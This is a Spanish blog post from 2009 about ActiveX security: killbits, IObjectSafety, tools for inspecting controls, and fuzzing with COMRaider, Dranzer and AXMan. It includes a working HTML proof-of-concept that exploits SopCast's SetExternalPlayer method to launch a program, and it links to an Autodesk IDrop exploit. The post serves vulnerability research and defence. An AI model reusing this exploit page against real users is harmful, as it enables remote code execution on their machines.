20 mayo 2009

Seguridad en ActiveX

Los componentes ActiveX son objetos basados en COM y OLE que sirven para distribuir pequeñas aplicaciones por Internet mediante navegadores web (concretamente Internet Explorer). Cada una de estas aplicaciones son identificadas inequívocamente mediante un tipo de identificador "GUID" denominado "CLSID" (CLaSs IDentifier), que es mapeado opcionalmente a un nombre inteligible denominado "ProgID".

Por ejemplo, el CLSID "{8FEFF364-6A5F-4966-A917-A3AC28411659}", corresponde al ProgID "SOPOCX.SopCoreCtrl.1" y representa el ActiveX que muestra un visor multimedia de una red de televisión P2P llamado SopCast.

Para comprender la seguridad de los controles ActiveX es necesario entender el modelo en el que son cargados en IE sin solicitar permiso al usuario, como ocurre en la siguiente captura.




Los Kill-Bit son una entrada en el registro, que referencia el BIT 11, que marca un CLSID como no ejecutable dentro del navegador u otros entornos programables. Los killbits son liberados en actualizaciones con el objetivo de bloquear controles ActiveX de los que se conocen vulnerabilidades.

Se puede conocer que controles y objetos están "killeados" buscando en el registro, en concreto la clave "Compatibility Flags" ha de tener el valor con máscara "0x400" (COMPAT_EVIL_DONT_LOAD) dentro de las siguientes localizaciones:

x86 IE / x86 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX

x64 IE / x64 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX

x86 IE / x64 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX




Para consultar de forma rápida estas claves, existen herramientas que simplifican la tarea.

AxBan de Errata Security, permite seleccionar a que ActiveX marcar el KillBit.



GUI KillBit de SANS, similar a AxBan, permite seleccionar en base al nombre.

KillBit Explorer, permite identificar aquellos controles ActiveX con killbit activado.

ActiveX Compatibility Manager y ActiveXHelper, de Nirsoft, muestran información de los controles instalados en el sistema, también permite activarlos o desactivarlos. Ambos permiten ser ejecutados por línea de comandos.





Es importante destacar que muchos ActiveX son considerados inseguros en la zona de Internet y no son cargados automáticamente en base a otros criterios además del KillBit. La lógica que sigue el sistema operativo para determinarlo la detalló Fermín en un artículo que se resume en:
  1. Si está activo el KillBit, no se carga el control.
  2. En caso de IE7, el ActiveX tiene que tener una firma digital correcta.
  3. Se comprueba si el control tiene activo el interfaz IObjectSafety:

  4. Si el control no implementa IObjectSafety ni las propiedades en el registro, el ActiveX no es cargado
  5. Si implementa "Safe For Initialization", se permitirá su carga y la obtención de parámetros mediante el atributo data y param de las etiquetas correspondientes del html.
  6. Finalmente, el control podrá ser manipulado mediante javascripts u otros scripts si implementa o no "Safe for Scripting".
Ahora que hemos expuesto los principios básicos del modelo de seguridad, se detalla el análisis de un par de ejemplos de los que ya se han reportado vulnerables.

1.- Sopcast SopCore 'SetExternalPlayer()' ActiveX Control Remote Code Execution Vulnerability

Una vez se instala el componente que se desea auditar, se busca los métodos que exporta así como las propiedades que mantiene de seguridad. Esto se puede realizar de forma sencilla mediante dos herramientas.

OLE/COM Object Viewer, de Microsoft, permite seleccionar de toda la lista de controles el que queremos examinar y muestra sus interfaces, métodos y propiedades, resalta aquellos que no son del sistema y permite filtrar por los que tienen una determinada configuración como Safe for Scripting.



Es posible obtener más información de un interfaz pulsando con el botón derecho y seleccionando "View Typeinfo...", se muestra la siguiente ventana con el detalle de las propiedades y métodos de "IDispatch".



COMRaider de iDefense, pese a que no es su objetivo principal, permite obtener información detallada: ProgID, localización de la librería, CLSID, etcétera.



Y obtener las propiedades y métodos.



Otras herramientas: ActiveX Manager, ActiveXplorer o TypeLib Browser

Investigando la función "SetExternalPlayer", en la documentación del WebPlayer de Sopcast no deja muy claro su uso. Pero la lógica indica que seguramente sirva para configurar un reproductor multimedia distinto al propio de la compañía SopCast...

... Después de hacer varias pruebas, se puede comprobar que el ActiveX no comprueba el valor de entrada de este campo y ejecuta todo aquello que se le introduzca, sea un reproductor multimedia o cualquier otro comando.

Esta vulnerabilidad fue descubierta en Febrero del 2009 y tres meses después no se ha solucionado. Para explotarla es tan sencillo como utilizar el siguiente HTML:
<HTML><HEAD><script language="Javascript" type="text/JavaScript">
window.onload=function()
{
SopPlayer.InitPlayer();

<font color="#ff0000"><b><b>SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe");</b></b></font>
SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ...
SopPlayer.SetChannelName("CCTV5");
SopPlayer.Play();
}
</script></HEAD><BODY>
<div class="youtube-video"><object
ID="SopPlayer"
name="SopPlayer"
CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659
HEIGHT=375
WIDTH=375>
</object></div></BODY></HTML>

2.- Autodesk IDrop ActiveX Control 'IDrop.ocx' Multiple Heap Memory Corruption Vulnerabilities

Para instalar el ActiveX se puede descargar desde: http://www.autodesk.com/prods/idrop/download/idrop.cab, descomprimir el fichero, y ejecutar en la carpeta vía línea de comandos:

C:\idrop>regsvr32 idrop_sw.ocx

Repitiendo el proceso anterior, se obtiene información de OLEViewer y COMRaider:





En este caso las propiedades son algo más complicadas y analizarlas manualmente es una tarea lenta y compleja.

Para este tipo de situaciones se utilizan aplicaciones que permitan automatizar el proceso, entre ellas destacan el propio COMRaider, AXman de HDMoore o Dranzer, del CERT-US.

Fuzzering con COMRaider.

Empezando por COMRaider, se presiona con el botón derecho sobre el miembro a probar y seleccionando "Fuzz member". Esto generará una lista de archivos a chequear. Otra opción es hacer la prueba sobre toda la librería, lo que llevaría bastante más tiempo. Next->Click();



La siguiente pantalla, tras pulsar sobre "Begin Fuzzing", comenzará las pruebas,. Si hay suerte los contadores tras "Exceptions", "Windows" o "ApiTriggers", serán mayores de 0, en ese caso, habrá que analizar manualmente que está ocurriendo, si realmente es una vulnerabilidad y si se puede explotar. También puede generar cualquier tipo de excepción no controlada sin que tenga mayor impacto.



En este caso no hubo suerte, aunque COMRaider puede ser editado para llevar a cabo más y distintas pruebas, sacándole mucho más partido.



Fuzzering con Dranzer.

Dranzer es la herramienta más joven de las tres que se analizan, se liberó recientemente aunque ha permanecido bastante tiempo en el laboratorio del US-CERT. Se usa mediante línea de comandos.

Las opciones son sencillas:
Execution mode not specified use -g,-k,-l,-b, or -p
Usage: Dranzer <options>
Options:
-o <outputfile> - Output Filename
-i <inputfile> - Use input file CLSID list
-d <notestfile> - Use don't test CLSID List
-g - Generate base COM list
-k - Generate Kill Bit COM list
-l - Generate Interface Listings
-b - Load In Browser (IE)
-t - Test Interfaces Properties and Methods
-p - Test PARAMS (PropertyBag) in Internet Explorer
-s - Test PARAMS (Binary Scan) in Internet Explorer
-n - Print COM object information
-v - Print out version information


El siguiente ejemplo muestra información de los CLSID que contiene el archivo "idrop.txt", en este caso, únicamente el del IDrop de Autodesk.



Para automatizar las pruebas Dranzer dispone de dos opciones, PropertyBag (-p) y BinaryScan (-s). Al ejecutarlo con ellas (no simultáneamente), irá abriendo y cerrando el navegador comprobando su comportamiento. Desafortunadamente estas pruebas tampoco tienen efecto.



Es interesante el uso del parámetro -g para generar una lista de COMs que posteriormente podrá ser excluida del análisis con el parámetro -d. Evitando analizar controles que se conocen no vulnerables una y otra vez.

Fuzzering con AXMan.

El fuzzer de HDMoore fue presentado en la BlackHat, se usa mediante línea de comandos y un interfaz web. Es posiblemente el más sencillo de usar. Requiere tener instalado algún tipo de servidor web, como por ejemplo xampp

Lo primero es generar una base de datos con los controles instalados en el sistema, para eso una vez descargado se procede a ejecutar el binario con un directorio donde se almacenará la configuración, en este caso "conf"
C:\axman-1.0.0\bin>axman conf
La ejecución de este comando, generará varios errores y ventanas que se pueden cerrar sin problemas. Una vez finalice, es recomendable reiniciar el equipo que se encontrará en un estado bastante inestable.

El nuevo directorio "conf", ha de ser copiado dentro del subdirectorio "html", y este directorio servido por HTTP.



Se accede con el propio IE en local (http://localhost/). La aplicación permite analizar un rango de CLSIDs o bien uno individual. Se introduce el identificador del ActiveX de Autodesk y se pulsa sobre "Single". Si se produce algún error el navegador mostrará en la barra de estado la última prueba realizada, que podrá dar pistas de donde se encuentra el fallo.



Con esta herramienta, el navegador dará un error. El exploit es algo más complejo: un buffer overflow tradicional para el que hará falta algo de debug si queremos desarrollar el exploit. El resultado final del exploit se puede consultar aquí: http://www.milw0rm.com/exploits/8560

Otras herramientas de Fuzzering: COMBust, AXFuzz

Termino disculpándome, puesto que no he tenido suficiente tiempo para ser más breve.

Referencias:
ActiveX - Active Exploitation

4 comments :

Miguel dijo...

¡Muchas gracias por la cantidad de información proporcionada!

Maligno dijo...

Publica un pdf y deja de hacer un bof al RSS reader.

Julio Jaime dijo...

Excelente trabajo, conozco el esfuerzo que significa publicar un post como este.

Felicitaciones.

Alejandro Ramos dijo...

Gracias a todos por vuestros comentarios, así da gusto escribir!!

Un abrazo!